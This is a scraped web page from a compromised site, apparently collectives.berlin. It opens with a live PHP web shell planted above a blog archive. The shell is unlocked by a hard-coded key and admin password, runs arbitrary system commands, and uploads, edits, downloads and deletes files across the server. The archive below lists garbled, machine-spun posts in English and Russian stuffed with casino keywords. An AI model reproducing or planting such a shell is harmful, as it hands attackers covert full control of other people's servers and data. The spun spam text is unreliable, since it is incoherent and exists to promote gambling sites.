if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } ! Без рубрики – Page 2 – collectives.berlin

Your digital paradise.

Category: ! Без рубрики

  • Online Casino Trends Shaping the Manner Players Pick Websites

    Online Casino Trends Shaping the Manner Players Pick Websites The internet wagering market persists to develop at a fast rate, driven by technological advancements and varying player choices. Contemporary casino platforms encounter rising stress to modify their offerings in reply to changing needs. Contest among casino non aams operators has heightened, compelling platforms to differentiate…

    Click or not…

  • Online Casino Movements Shaping the Approach Gamblers Pick Platforms

    Online Casino Movements Shaping the Approach Gamblers Pick Platforms The web-based gaming industry proceeds to advance at a swift tempo, driven by digital innovations and varying player inclinations. Modern casino operators face mounting strain to change their products in reaction to shifting expectations. Rivalry among 50 euro bonus senza deposito operators has heightened, compelling sites…

    Click or not…

  • Online Casino Developments Determining the Method Users Pick Websites

    Online Casino Developments Determining the Method Users Pick Websites The internet gaming field continues to progress at a quick tempo, fueled by technological improvements and varying player choices. Modern casino operators experience growing stress to adapt their options in response to changing expectations. Contest among casino senza documenti sicuri operators has intensified, driving brands to…

    Click or not…

  • Online Casino Developments Shaping the Way Users Pick Websites

    Online Casino Developments Shaping the Way Users Pick Websites The digital gambling market proceeds to advance at a rapid speed, powered by technological developments and shifting player tastes. Current casino platforms face growing stress to adapt their offerings in reaction to varying needs. Contest among casino senza documenti operators has increased, pushing brands to differentiate…

    Click or not…

  • Для чего молодые люди активно пользуется голосовые ассистенты

    Для чего молодые люди активно пользуется голосовые ассистенты Технологии, что изменяют обычаи В последние годы голосовые помощники стали важной компонентом повседневной жизни множества индивидов по всем свету. В особенности заметно это проявляется среди юношества – подростков и взрослеющих людей, которые повзрослели в время стремительного развития технологий. Голосовые вспомогатели вроде Яндекс.Алисы, Google Assistant, Siri от Apple…

    Click or not…

  • Самые популярные нужные IT-скиллы в году 2026.

    Самые популярные нужные IT-скиллы в году 2026. Перемены в цифровом мире: что определяет торговля Технологии развиваются с поразительной скоростью, и за последние несколько лет IT-сфера стала одной из самых бурно развивающихся и влиятельных отраслей в мире. Влияние машинного интеллекта, роботизации, облачных вычислений и новых систем программирования азино 777 официальный сайт ощущается не только в значительных…

    Click or not…

  • Самые нужные IT-навыки в 2026-м году.

    Самые нужные IT-навыки в 2026-м году. Перемены в дигитальном мире: что диктует маркет Технологии прогрессируют с удивительной темпом, и за последние несколько лет IT-сфера стала одной из самых динамичных и важных отраслей в мире. Влияние автоматизированного интеллекта, механизации, интернет вычислений и новых языков программирования азино 777 официальный сайт ощущается не только в крупных корпорациях, но…

    Click or not…

  • Психология навыка проверять телефон каждые несколько минут

    Психология навыка проверять телефон каждые несколько минут Современный субъект контролирует смартфон в среднем 96 раз за день, причём множество таких операций происходит неосознанно. Навык тянуться к экрану формируется постепенно и базируется на основные механизмы функционирования мозга, которые отвечают за выявление свежести и вознаграждения. Дофаминовая система выполняет главную роль в сохранении такого поведения, поскольку каждое новое…

    Click or not…

  • Внутренние повода тяги из-за цифрового контакта

    Внутренние повода тяги из-за цифрового контакта Цифровое контакт данный элемент обычной частью обычной реальности. Мессенджеры, общественные сервисы, обсуждения, реплики, коллективные чаты и краткие ответа выполняет это действие оперативно данный элемент контакт, данный элемент внимание а также данный элемент привязка с данный элемент собеседниками. В рамках данный элемент фоне онлайн казино помогает данный элемент зависимость от…

    Click or not…

  • Внутренние основания привязанности от виртуального коммуникации

    Внутренние основания привязанности от виртуального коммуникации Цифровое контакт стало данный элементом ежедневной реальности. Чаты, сетевые сервисы, площадки, комментарии, групповые переписки и сжатые отклика выполняет это действие быстро поддерживать контакт, указанная часть внимание плюс чувствовать связь вместе с данный элемент собеседниками. По линии указанная часть условиях онлайн казино помогает указанная часть привязанность со стороны сетевого контакта…

    Click or not…